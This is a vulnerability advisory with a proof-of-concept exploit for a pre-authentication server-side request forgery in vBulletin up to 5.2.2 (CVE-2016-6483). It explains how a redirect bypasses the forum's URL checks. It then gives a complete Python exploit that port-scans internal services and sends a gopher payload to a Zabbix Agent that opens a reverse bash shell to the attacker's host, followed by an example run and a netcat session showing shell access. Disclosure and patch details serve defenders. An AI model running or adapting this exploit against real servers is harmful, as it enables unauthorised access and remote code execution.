vBulletin 5.2.2 – Server-Side Request Forgery

  • 作者: Dawid Golunski
    日期: 2016-08-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40225/
  • '''
    =============================================
    - Discovered by: Dawid Golunski
    - http://legalhackers.com
    - dawid (at) legalhackers.com
    
    - CVE-2016-6483 
    - Release date: 05.08.2016
    - Severity: High
    =============================================
    
    
    I. VULNERABILITY
    -------------------------
    
    vBulletin<= 5.2.2Preauth Server Side Request Forgery (SSRF) 
    vBulletin<= 4.2.3
    vBulletin<= 3.8.9
    
    
    II. BACKGROUND
    -------------------------
    
    vBulletin (vB) is a proprietary Internet forum software package developed by 
    vBulletin Solutions, Inc., a division of Internet Brands. 
    
    https://www.vbulletin.com/
    https://en.wikipedia.org/wiki/VBulletin
    
    
    A google search for "Powered by vBulletin" returns over 19 million sites
    that are hosting a vBulletin forum:
    
    https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22
    
    
    III. INTRODUCTION
    -------------------------
    
    vBulletin forum software is affected by a SSRF vulnerability that allows 
    unauthenticated remote attackers to access internal services (such as mail 
    servers, memcached, couchDB, zabbix etc.) running on the server hosting 
    vBulletin as well as services on other servers on the local network that are 
    accessible from the target.
    
    This advisory provides a PoC exploit that demonstrates how an unauthenticated
    attacker could perform a port scan of the internal services as well as execute
    arbitrary system commands on a target vBulletin host with a locally installed 
    Zabbix Agent monitoring service.
    
    IV. DESCRIPTION
    -------------------------
    
    vBulletin allows forum users to share media fiels by uploading them to the 
    remote server. Some pages allow users to specify a URL to a media file
    that a user wants to share which will then be retrieved by vBulletin. 
    The user-provided links are validated to make sure that users can only access
    resources from HTTP/HTTPS protocols and that connections are not allowed in to 
    the localhost.
    
    These restrictions can be found in core/vb/vurl/curl.php source file:
    
    /**
     *Determine if the url is safe to load
     *
     *@param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host
     *@return boolean
     */
    private function validateUrl($urlinfo)
    {
    	// VBV-11823, only allow http/https schemes
    	if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https')))
    	{
    		return false;
    	}
    
    	// VBV-11823, do not allow localhost and 127.0.0.0/8 range by default
    	if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host']))
    	{
    		return false;
    	}
    
    	if (empty($urlinfo['port']))
    	{
    		if ($urlinfo['scheme'] == 'https')
    		{
    			$urlinfo['port'] = 443;
    		}
    		else
    		{
    			$urlinfo['port'] = 80;
    		}
    	}
     // VBV-11823, restrict detination ports to 80 and 443 by default
    	// allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to).
    	$config = vB::getConfig();
    [...]
    
    
    HTTP redirects are also prohibited however there is one place in the vBulletin
    codebase that accepts redirects from the target server specified in a 
    user-provided link.
    The code is used to upload media files within a logged-in user's profile and 
    can normally be accessed under a path similar to:
    
    http://forum/vBulletin522/member/1-mike/media
    
    By specifying a link to a malicious server that returns a 301 HTTP redirect to 
    the URL of http://localhost:3306 for example, an attacker could easily 
    bypass the restrictions presented above and make a connection to mysql/3306 
    service listening on the localhost.
    
    This introduces a Server Side Request Forgery (SSRF) vulnerability.
    
    As curl is used to fetch remote resources, in addition to HTTP, attackers could 
    specify a handful of other protocols to interact with local services. 
    For instance, by sending a redirect togopher://localhost:11211/datahere
    attackers could send arbitrary traffic to memcached service on 11211 port.
    
    Additionally, depending on the temporary directory location configured within
    the forum, attackers could potentially view the service responses as the 
    download function stores responses within temporary files which could be 
    viewed if the temporary directory is exposed on the web server.
    
    
    V. PROOF OF CONCEPT EXPLOIT
    -------------------------
    
    The exploit code below performs a port scan as well as demonstrates remote 
    command execution via a popular Zabbix Agent monitoring service which might be
    listening on local port of 10050.
    The exploit will execute a reverse bash shell on the target if it has the agent 
    installed and permits remote commands.
    
    The exploit was verified on the following zabbix agent configuration 
    (/etc/zabbix/zabbix_agentd.conf):
    
    Server=127.0.0.1,::1
    EnableRemoteCommands=1
    
    
    ------------[ vBulletin_SSRF_exploit.py ]-----------
    '''
    
    #!/usr/bin/python
    
    intro = """
    vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE)
    
    This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
    installed on the web server that is hosting the vBulletin forum.
    
    After the scan, the exploit also checks for a Zabbix Agent (10050) port and
    gives an option to execute a reverse shell (Remote Commands) that will connect
    back to the attacker's host on port 8080 by default. 
    
    Coded by:
    
     Dawid Golunski
     http://legalhackers.com
    """
    usage = """
    Usage:
    The exploit requires that you have an external IP and can start a listener on port 80/443
    on the attacking machine.
    
    ./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port]
    
    Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85
    on the remote vBulletin target host:
    
    ./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85
    
    Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g:
    
    nc -vv -l -p 8080
    
    Disclaimer:
    For testing purposes only. Do no harm.
    
    SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target.
    """
    
    import web # http://webpy.org/installation
    import threading
    import time
    import urllib
    import urllib2
    import socket
    import ssl
    import sys
    
    
    # The listener that will send redirects to the targe
    class RedirectServer(threading.Thread):
    def run (self):
    urls = ('/([0-9a-z_]+)', 'do_local_redir')
    app = web.application(urls, globals())
    #app.run()
    	return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port))
    
    class do_local_redir:
    def GET(self,whereto):
    	if whereto == "zabbixcmd_redir":
    		# code exec
    		# redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &'); sleep 2s]
    		return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } )
    	else:
    		# internal port connection
    		return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} )
    
    def shutdown(code):
    	print "\nJob done. Exiting"
    	if redirector_started == 1:
    		web.httpserver.server.interrupt = KeyboardInterrupt()
    	exit(code)
    
    
    # [ Default settings ]
    
    # reverse shell will connect back to port defined below
    shell_port = 8080
    # Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it)
    our_port = 443
    # How long to wait (seconds) before considering a port to be opened. 
    # Don't set it too high to avoid service timeout and an incorrect close state
    connect_time = 2
    # Default port scan range is limited to 20-90 to speed up things when testing,
    # feel free to increase maxport to 65535 here or on the command line if you've
    # got the time ;)
    minport = 20
    maxport = 90
    # ignore invalid certs (enable if target forum is HTTPS)
    #ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
    
    
    # [ Main Meat ]
    
    print intro
    redirector_started = 0
    
    if len(sys.argv) < 3 :
     print usage
     sys.exit(2)
    
    # Set our HTTP Listener/Redirector's external IP
    our_ext_ip = sys.argv[1]
    try:
    socket.inet_aton(our_ext_ip)
    except socket.error:
    print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip
    exit(2)
    
    our_server = "http://%s:%s" % (our_ext_ip, our_port)
    
    # Target forum base URL (e.g. http://vulnerable-vbulletin/forum)
    targetforum = sys.argv[2]
    # Append vulnerable media upload script path to the base URL
    targeturl =targetforum.strip('/') + "/link/getlinkdata"
    
    # Change port range (if provided)
    if (len(sys.argv) == 5) :
    	minport = int(sys.argv[3])
    # Finish scanning at maxport
    	maxport = int(sys.argv[4])
    
    
    # Confirm data
    print "\n* Confirm your settings\n"
    print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport)
    key = raw_input("Are these settings correct? Hit enter to start the port scan... ")
    
    # Connection check
    print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl
    req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } )
    try:
    	response = urllib2.urlopen(req, timeout=connect_time).read()
    except urllib2.URLError as e:
    print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason
    	shutdown(2)
    
    # Server should return 'invalid_url' string if not url provided in POST
    if "invalid_url" not in response:
    	print """Invalid target url (%s) or restricted access.\n
    \nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl)
    	sys.exit(2)
    else:
    	print "Got the right response from the URL. The target looks vulnerable!\n" 
    
    # [ Start the listener and perform a port scan ]
    print "Let's begin!\n"
    print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port)
    RedirectServer().start()
    redirector_started = 1
    
    print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum)
    start = time.time()
    opened_ports = []
    maxport+=1
    
    for targetport in range(minport, maxport):
    #print "\n\nScanning port %d\n" % (targetport)
    	fetchurl ='%s/%d' % (our_server, targetport)
    	data = urllib.urlencode({'url' : fetchurl})
    	req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } )
    	try:
    	response = urllib2.urlopen(req,timeout=connect_time)
    	except urllib2.URLError, e:
    	print "Oops, url issue? 403 , 404 etc.\n"
    	except socket.timeout, ssl.SSLError:
    	print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport)
    	opened_ports.append(targetport)
    
    elapsed = (time.time() - start)
    print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum)
    for listening in opened_ports:
    	print "Port %d : Opened\n" % listening
    print "\nAnything juicy? :)\n"
    
    if 10050 in opened_ports:
    	print "* Zabbix Agent was found on port 10050 !\n"
    
    # [ Command execution via Zabbix Agent to gain a reverse shell ]
    key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ")
    if key != 'y' :
    	shutdown(0)
    
    print "\n* Executing reverse shell via Zabbix Agent (10050)."
    fetchurl ='%s/%s' % (our_server, 'zabbixcmd_redir')
    data = urllib.urlencode({'url' : fetchurl})
    req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } )
    payload_executed = 0
    try:
    response = urllib2.urlopen(req,timeout=connect_time)
    except urllib2.URLError, e:
    print "Oops, url issue? 403 , 404 etc.\n"
    except socket.timeout, ssl.SSLError:
    # Agent connection remained opened for 2 seconds after the bash payload was sent, 
    # it looks like the sleep 2s shell command must have got executed sucessfuly
    payload_executed = 1
    
    if (payload_executed == 1) :
    print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port
    else:
    print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n"
    
    shutdown(0)
    
    '''
    ----------------------[ eof ]------------------------
    
    
    Example run:
    
    root@trusty:~/vbexploit# ./vBulletin_SSRF_exploit.py 192.168.57.10 http://192.168.57.10/vBulletin522new/ 20 85
    
    vBulletin <= 5.2.2 SSRF PoC Exploit (Localhost Portscan / Zabbix Agent RCE)
    
    This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
    installed on the web server that is hosting the vBulletin forum.
    
    After the scan, the exploit also checks for a Zabbix Agent (10050) port and
    gives an option to execute a reverse shell (Remote Commands) that will connect
    back to the attacker's host on port 8080 by default. 
    
    Coded by:
    
     Dawid Golunski
     http://legalhackers.com
    
    
    * Confirm your settings
    
    Redirect server to listen on: 192.168.57.10:443
    Target vBulletin URL: http://192.168.57.10/vBulletin522new/link/getlinkdata
    Scan ports between: 20 - 85
    
    Are these settings correct? Hit enter to start the port scan... 
    
    * Testing connection to vulnerable script at [http://192.168.57.10/vBulletin522new/link/getlinkdata]
    
    Got the right response from the URL. The target looks vulnerable!
    
    Let's begin!
    
    * Starting our redirect base server on 192.168.57.10:443 
    
    * Scanning local ports from 20 to 85 on [http://192.168.57.10/vBulletin522new/] target 
    
    http://0.0.0.0:443/
    192.168.57.10:58675 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /20" - 301
    192.168.57.10:58679 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /21" - 301
    192.168.57.10:58683 - - [30/Jul/2016 03:00:25] "HTTP/1.1 GET /22" - 301
    Conection opened for 2 seconds. Port 22 is opened!
    
    192.168.57.10:58686 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /23" - 301
    192.168.57.10:58690 - - [30/Jul/2016 03:00:27] "HTTP/1.1 GET /24" - 301
    192.168.57.10:58694 - - [30/Jul/2016 03:00:28] "HTTP/1.1 GET /25" - 301
    Conection opened for 2 seconds. Port 25 is opened!
    
    192.168.57.10:58697 - - [30/Jul/2016 03:00:30] "HTTP/1.1 GET /26" - 301
    [...]
    192.168.57.10:58909 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /79" - 301
    192.168.57.10:58913 - - [30/Jul/2016 03:00:36] "HTTP/1.1 GET /80" - 301
    Conection opened for 2 seconds. Port 80 is opened!
    
    192.168.57.10:58917 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /81" - 301
    192.168.57.10:58921 - - [30/Jul/2016 03:00:38] "HTTP/1.1 GET /82" - 301
    192.168.57.10:58925 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /83" - 301
    192.168.57.10:58929 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /84" - 301
    192.168.57.10:58933 - - [30/Jul/2016 03:00:39] "HTTP/1.1 GET /85" - 301
    
    Scanning done in 14 seconds. 
    
    * Opened ports on the target [http://192.168.57.10/vBulletin522new/]: 
    
    Port 22 : Opened
    
    Port 25 : Opened
    
    Port 80 : Opened
    
    
    Anything juicy? :)
    
    Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] y
    
    * Executing reverse shell via Zabbix Agent (10050).
    192.168.57.10:58940 - - [30/Jul/2016 03:00:45] "HTTP/1.1 GET /zabbixcmd_redir" - 301
    
    Looks like Zabbix Agent executed our bash payload! Check your netcat listening on port 8080 for shell! :)
    
    
    Job done. Exiting
    
    
    Here is how the netcat session looks like after a sucessful exploitation:
    
    $ nc -vvv -l -p 8080
    Listening on [0.0.0.0] (family 0, port 8080)
    Connection from [192.168.57.10] port 8080 [tcp/*] accepted (family 2, sport 54259)
    
    zabbix@trusty:/$ id
    id
    uid=122(zabbix) gid=129(zabbix) groups=129(zabbix)
    zabbix@trusty:/$ 
    
    
    
    As we can see reverse shell was executed on the target which sucessfully
    connected back to the attacker's netcat listener.
    
    VI. BUSINESS IMPACT
    -------------------------
    
    The vulnerability can expose internal services running on the server/within 
    the local network. 
    If not patched, unauthenticated attackers or automated scanners searching for
    vulnerable servers could send malicious data to internal services.
    Depending on services in use, the impact could range from sensitive information
    disclosure, sending spam, DoS/data loss to code execution as demonstrated by 
    the PoC exploit in this advisory.
    
     
    VII. SYSTEMS AFFECTED
    -------------------------
    
    All vBulletin forums in all branches (5.x, 4.x , 3.x) without the latest patches
    named in the next section are affected by this vulnerability. 
    
     
    VIII. SOLUTION
    -------------------------
    
    Upon this advisory, vendor has published the following security releases of
    vBulletin for each of the affected branches:
    
    
     vBulletin 5.2.3
    
     vBulletin 4.2.4 Beta
    
     vBulletin 3.8.10 Beta
    
    
    Separate patches have also been released (see references below).
     
    IX. REFERENCES
    -------------------------
    
    http://legalhackers.com
    
    http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt
    
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6483 
    
    vBulletin patches:
    
    http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349551-security-patch-vbulletin-5-2-0-5-2-1-5-2-2
    
    http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349549-security-patch-vbulletin-4-2-2-4-2-3-4-2-4-beta
    
    http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4349548-security-patch-vbulletin-3-8-7-3-8-8-3-8-9-3-8-10-beta
    
    X. CREDITS
    -------------------------
    
    The vulnerability has been discovered by Dawid Golunski
    
    dawid (at) legalhackers (dot) com
    http://legalhackers.com
     
    XI. REVISION HISTORY
    -------------------------
    
    05.08.2016 - final advisory released
     
    XII. LEGAL NOTICES
    -------------------------
    
    The information contained within this advisory is supplied "as-is" with
    no warranties or guarantees of fitness of use or otherwise. I accept no
    responsibility for any damage caused by the use or misuse of this information.
    '''